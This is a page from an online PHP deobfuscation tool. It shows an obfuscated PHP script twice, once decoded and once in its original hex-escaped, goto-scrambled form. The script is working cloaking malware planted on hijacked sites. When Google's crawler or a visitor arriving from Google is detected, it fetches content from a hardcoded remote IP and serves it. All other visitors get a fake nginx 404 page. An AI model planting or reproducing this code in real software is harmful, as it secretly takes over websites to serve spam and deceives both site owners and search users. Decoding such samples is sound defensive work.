Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto s7WOg; TxjHT: z1OID: goto ID3be; smVAR: if (!k1a28()) { goto z1OID; } goto Sg..
Decoded Output download
<?php
goto s7WOg; TxjHT: z1OID: goto ID3be; smVAR: if (!k1a28()) { goto z1OID; } goto Sg_YO; vdooi: echo "<html><!--@cubenav-->
<head><title>404 Not Found.</title></head>
<body bgcolor='white'>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>\xa</body>\xa</html>"; goto N6dpP; l1q1I: function piSfQ() { goto anfam; ySkwI: goto idtPZ; goto kBm9L; xw4fW: IuLm6: goto dDoac; kA96M: return str_ireplace("index.php?404;", '', $pCbqd[0]); goto WVJpR; dnPvN: if (!(isset($_SERVER["SERVER_SOFTWARE"]) && false !== stristr($_SERVER["SERVER_SOFTWARE"], "IIS"))) { goto IuLm6; } goto r5BH_; IkVZq: $KBTpV = @iconv("GBK", "UTF-8", @iconv("UTF-8", "GBK", $KBTpV)) == $KBTpV ? $KBTpV : @iconv("GBK", "UTF-8", $KBTpV); goto ySkwI; w4422: $KBTpV = mb_convert_encoding($KBTpV, "UTF-8", "GBK"); goto gwVML; kBm9L: jpGl8: goto w4422; gwVML: idtPZ: goto xw4fW; dDoac: $pCbqd = explode("#", $KBTpV, 2); goto kA96M; anfam: $KBTpV = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto dnPvN; r5BH_: if (function_exists("mb_convert_encoding")) { goto jpGl8; } goto IkVZq; WVJpR: } goto j9lIk; Ox7L8: set_time_limit(0); goto SkFBH; njt59: XvemJ: goto QATF6; ID3be: if (!TMIvZ()) { goto APW3F; } goto nNoNY; SkFBH: date_default_timezone_set("PRC"); goto HmW5O; N6dpP: exit; goto owcpY; s7WOg: error_reporting(0); goto Ox7L8; W3nJ5: APW3F: goto njt59; HmW5O: $N5Rz_ = "http://104.195.3.147/index.php?url="; goto n883L; BFtD8: exit; goto W3nJ5; j9lIk: function aivMI($QfU1O) { goto XUqF0; dqm6U: $tZv6m = array("User-Agent: " . (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "unknown"), "X-Forwarded-For: " . $AU9Cr, "X-Real-IP: " . $AU9Cr); goto KyGMz; XUqF0: $BRURu = curl_init(); goto uAfkw; u0434: $ZObJ8 = curl_exec($BRURu); goto xz6MT; FxsyN: curl_setopt($BRURu, CURLOPT_VERBOSE, true); goto dn7_I; rVMpJ: Nngqx: goto RFVMs; Lpa8J: curl_setopt($BRURu, CURLOPT_FOLLOWLOCATION, true); goto EbBHG; b_4ug: return "Curl error: " . curl_error($BRURu); goto rVMpJ; uAfkw: curl_setopt($BRURu, CURLOPT_URL, $QfU1O); goto PTlWV; xz6MT: if (!curl_errno($BRURu)) { goto Nngqx; } goto b_4ug; iJjDB: return $ZObJ8; goto kD6Jt; dn7_I: curl_setopt($BRURu, CURLINFO_HEADER_OUT, true); goto u0434; RFVMs: curl_close($BRURu); goto iJjDB; EbBHG: $AU9Cr = tyEgT(); goto dqm6U; PTlWV: curl_setopt($BRURu, CURLOPT_RETURNTRANSFER, true); goto Lpa8J; KyGMz: curl_setopt($BRURu, CURLOPT_HTTPHEADER, $tZv6m); goto FxsyN; kD6Jt: } goto s6W05; kQesX: exit; goto TxjHT; W1wEb: echo $KM3IP; goto BFtD8; nNoNY: $mQ2pj = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https://" : "http://"; goto TwcX1; TwcX1: $KM3IP = aiVmI($N5Rz_ . str_replace("?", "-", $_SERVER["REQUEST_URI"]) . "&url2=" . $mQ2pj . $_SERVER["HTTP_HOST"] . str_replace("?", "-", $_SERVER["REQUEST_URI"])); goto W1wEb; Mpnwm: function K1a28() { $r1qHA = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; return preg_match("/.*(google.com).*/i", $r1qHA); } goto l1q1I; Sg_YO: $KM3IP = AIVmI($N5Rz_ . "tiaole"); goto HUlrh; HUlrh: echo $KM3IP; goto kQesX; owcpY: function tmiVz() { $rY3mo = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; return preg_match("/google/i", $rY3mo); } goto Mpnwm; n883L: if (!(pisFQ() != "/")) { goto XvemJ; } goto smVAR; QATF6: header("HTTP/1.0 404 Not Found"); goto vdooi; s6W05: function tYEGT() { goto wTrDN; fj_cx: ef0mB: goto QCAqU; QCAqU: return $_SERVER["REMOTE_ADDR"]; goto vCra3; qyJ1y: return $_SERVER["HTTP_X_FORWARDED_FOR"]; goto q3bJh; ckULz: cBXAy: goto hjkZm; hjkZm: return $_SERVER["HTTP_X_REAL_IP"]; goto iC0xp; bnXFu: if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { goto zDJPb; } goto E8Hjg; E8Hjg: if (!empty($_SERVER["REMOTE_ADDR"])) { goto ef0mB; } goto tkWJF; vCra3: NOdyI: goto fVkIX; wTrDN: if (!empty($_SERVER["HTTP_X_REAL_IP"])) { goto cBXAy; } goto bnXFu; iC0xp: goto NOdyI; goto hV8Ou; hV8Ou: zDJPb: goto qyJ1y; tkWJF: return "Unknown"; goto mBvjO; q3bJh: goto NOdyI; goto fj_cx; mBvjO: goto NOdyI; goto ckULz; fVkIX: }
?>
Did this file decode correctly?
Original Code
<?php
goto s7WOg; TxjHT: z1OID: goto ID3be; smVAR: if (!k1a28()) { goto z1OID; } goto Sg_YO; vdooi: echo "\x3c\x68\x74\155\x6c\x3e\74\41\55\x2d\100\x63\165\x62\145\156\141\x76\55\x2d\x3e\12\x3c\x68\x65\x61\144\76\74\164\151\164\154\x65\76\64\x30\x34\40\116\x6f\x74\x20\x46\x6f\x75\x6e\144\x2e\74\x2f\x74\x69\x74\x6c\145\76\74\57\x68\x65\141\x64\76\12\74\142\157\144\x79\40\142\x67\x63\157\x6c\157\x72\x3d\47\167\x68\x69\164\145\x27\76\12\x3c\x63\x65\x6e\164\145\x72\76\x3c\x68\x31\76\64\60\x34\x20\116\157\164\x20\106\157\165\x6e\x64\74\x2f\x68\61\76\x3c\57\143\145\156\164\145\x72\x3e\12\74\150\162\x3e\74\x63\x65\156\x74\145\x72\76\156\x67\151\156\x78\74\x2f\x63\x65\x6e\164\x65\x72\x3e\xa\74\x2f\x62\157\144\171\x3e\xa\74\x2f\150\164\155\154\76"; goto N6dpP; l1q1I: function piSfQ() { goto anfam; ySkwI: goto idtPZ; goto kBm9L; xw4fW: IuLm6: goto dDoac; kA96M: return str_ireplace("\151\156\x64\145\x78\x2e\160\150\x70\x3f\64\60\x34\73", '', $pCbqd[0]); goto WVJpR; dnPvN: if (!(isset($_SERVER["\123\x45\x52\x56\x45\122\137\x53\x4f\x46\124\127\101\122\105"]) && false !== stristr($_SERVER["\x53\105\122\126\105\x52\137\123\x4f\106\124\x57\101\122\x45"], "\111\x49\123"))) { goto IuLm6; } goto r5BH_; IkVZq: $KBTpV = @iconv("\x47\x42\113", "\x55\124\106\55\x38", @iconv("\x55\124\x46\55\70", "\107\x42\113", $KBTpV)) == $KBTpV ? $KBTpV : @iconv("\x47\102\x4b", "\125\x54\x46\x2d\70", $KBTpV); goto ySkwI; w4422: $KBTpV = mb_convert_encoding($KBTpV, "\125\124\106\x2d\70", "\x47\x42\113"); goto gwVML; kBm9L: jpGl8: goto w4422; gwVML: idtPZ: goto xw4fW; dDoac: $pCbqd = explode("\x23", $KBTpV, 2); goto kA96M; anfam: $KBTpV = isset($_SERVER["\x52\x45\x51\x55\x45\x53\x54\x5f\125\122\x49"]) ? $_SERVER["\x52\x45\x51\125\105\123\124\x5f\x55\x52\x49"] : $_SERVER["\120\110\x50\x5f\123\105\114\106"] . "\77" . $_SERVER["\x51\x55\105\122\131\137\123\124\x52\111\116\x47"]; goto dnPvN; r5BH_: if (function_exists("\x6d\142\x5f\143\x6f\156\166\x65\x72\164\x5f\145\x6e\x63\157\x64\151\156\x67")) { goto jpGl8; } goto IkVZq; WVJpR: } goto j9lIk; Ox7L8: set_time_limit(0); goto SkFBH; njt59: XvemJ: goto QATF6; ID3be: if (!TMIvZ()) { goto APW3F; } goto nNoNY; SkFBH: date_default_timezone_set("\x50\122\x43"); goto HmW5O; N6dpP: exit; goto owcpY; s7WOg: error_reporting(0); goto Ox7L8; W3nJ5: APW3F: goto njt59; HmW5O: $N5Rz_ = "\x68\x74\164\x70\72\57\57\61\60\64\x2e\61\71\x35\x2e\63\x2e\61\x34\x37\57\x69\x6e\144\145\170\56\160\150\160\77\165\162\154\75"; goto n883L; BFtD8: exit; goto W3nJ5; j9lIk: function aivMI($QfU1O) { goto XUqF0; dqm6U: $tZv6m = array("\125\163\x65\162\55\x41\x67\145\156\x74\x3a\40" . (isset($_SERVER["\x48\124\124\x50\x5f\125\123\105\122\137\101\107\105\x4e\124"]) ? $_SERVER["\x48\124\124\120\137\125\x53\x45\x52\x5f\x41\107\105\116\x54"] : "\165\156\153\x6e\x6f\167\156"), "\130\x2d\106\157\x72\x77\x61\162\x64\x65\144\x2d\106\157\x72\72\x20" . $AU9Cr, "\130\55\122\145\141\x6c\x2d\111\120\x3a\x20" . $AU9Cr); goto KyGMz; XUqF0: $BRURu = curl_init(); goto uAfkw; u0434: $ZObJ8 = curl_exec($BRURu); goto xz6MT; FxsyN: curl_setopt($BRURu, CURLOPT_VERBOSE, true); goto dn7_I; rVMpJ: Nngqx: goto RFVMs; Lpa8J: curl_setopt($BRURu, CURLOPT_FOLLOWLOCATION, true); goto EbBHG; b_4ug: return "\x43\165\162\154\x20\145\x72\x72\157\x72\x3a\40" . curl_error($BRURu); goto rVMpJ; uAfkw: curl_setopt($BRURu, CURLOPT_URL, $QfU1O); goto PTlWV; xz6MT: if (!curl_errno($BRURu)) { goto Nngqx; } goto b_4ug; iJjDB: return $ZObJ8; goto kD6Jt; dn7_I: curl_setopt($BRURu, CURLINFO_HEADER_OUT, true); goto u0434; RFVMs: curl_close($BRURu); goto iJjDB; EbBHG: $AU9Cr = tyEgT(); goto dqm6U; PTlWV: curl_setopt($BRURu, CURLOPT_RETURNTRANSFER, true); goto Lpa8J; KyGMz: curl_setopt($BRURu, CURLOPT_HTTPHEADER, $tZv6m); goto FxsyN; kD6Jt: } goto s6W05; kQesX: exit; goto TxjHT; W1wEb: echo $KM3IP; goto BFtD8; nNoNY: $mQ2pj = isset($_SERVER["\110\124\124\x50\123"]) && $_SERVER["\110\124\x54\x50\x53"] === "\157\156" ? "\150\x74\x74\160\163\72\57\x2f" : "\150\x74\164\160\x3a\x2f\x2f"; goto TwcX1; TwcX1: $KM3IP = aiVmI($N5Rz_ . str_replace("\x3f", "\55", $_SERVER["\122\x45\121\125\105\123\x54\x5f\x55\122\x49"]) . "\46\165\x72\154\x32\x3d" . $mQ2pj . $_SERVER["\x48\x54\x54\120\x5f\110\117\123\124"] . str_replace("\x3f", "\x2d", $_SERVER["\122\x45\x51\125\105\123\x54\x5f\x55\x52\x49"])); goto W1wEb; Mpnwm: function K1a28() { $r1qHA = isset($_SERVER["\110\124\x54\120\137\x52\x45\x46\x45\122\105\122"]) ? $_SERVER["\x48\124\124\120\x5f\x52\105\x46\x45\122\105\122"] : ''; return preg_match("\57\x2e\52\50\147\157\157\x67\154\x65\x2e\143\x6f\155\x29\x2e\52\x2f\151", $r1qHA); } goto l1q1I; Sg_YO: $KM3IP = AIVmI($N5Rz_ . "\x74\151\x61\x6f\154\x65"); goto HUlrh; HUlrh: echo $KM3IP; goto kQesX; owcpY: function tmiVz() { $rY3mo = isset($_SERVER["\x48\124\124\120\137\x55\123\x45\122\x5f\101\107\x45\116\x54"]) ? $_SERVER["\110\x54\x54\x50\x5f\125\x53\105\x52\x5f\101\107\x45\x4e\124"] : ''; return preg_match("\x2f\147\x6f\x6f\x67\154\x65\x2f\x69", $rY3mo); } goto Mpnwm; n883L: if (!(pisFQ() != "\x2f")) { goto XvemJ; } goto smVAR; QATF6: header("\110\x54\x54\x50\x2f\x31\56\60\x20\64\60\x34\x20\x4e\157\164\40\x46\x6f\x75\156\x64"); goto vdooi; s6W05: function tYEGT() { goto wTrDN; fj_cx: ef0mB: goto QCAqU; QCAqU: return $_SERVER["\122\x45\115\x4f\124\x45\137\x41\104\x44\x52"]; goto vCra3; qyJ1y: return $_SERVER["\110\124\124\x50\137\x58\137\x46\x4f\x52\x57\101\x52\104\105\x44\137\106\x4f\122"]; goto q3bJh; ckULz: cBXAy: goto hjkZm; hjkZm: return $_SERVER["\110\x54\124\120\137\x58\137\122\x45\x41\x4c\137\x49\120"]; goto iC0xp; bnXFu: if (!empty($_SERVER["\110\124\124\120\137\x58\x5f\106\x4f\122\x57\x41\122\104\x45\x44\x5f\106\117\x52"])) { goto zDJPb; } goto E8Hjg; E8Hjg: if (!empty($_SERVER["\122\105\x4d\117\124\x45\x5f\x41\104\104\x52"])) { goto ef0mB; } goto tkWJF; vCra3: NOdyI: goto fVkIX; wTrDN: if (!empty($_SERVER["\110\124\124\x50\x5f\x58\x5f\x52\105\101\114\x5f\x49\120"])) { goto cBXAy; } goto bnXFu; iC0xp: goto NOdyI; goto hV8Ou; hV8Ou: zDJPb: goto qyJ1y; tkWJF: return "\125\x6e\153\x6e\x6f\x77\x6e"; goto mBvjO; q3bJh: goto NOdyI; goto fj_cx; mBvjO: goto NOdyI; goto ckULz; fVkIX: }
Function Calls
None |
Stats
MD5 | d10bcf616a20887d085500826da80814 |
Eval Count | 0 |
Decode Time | 48 ms |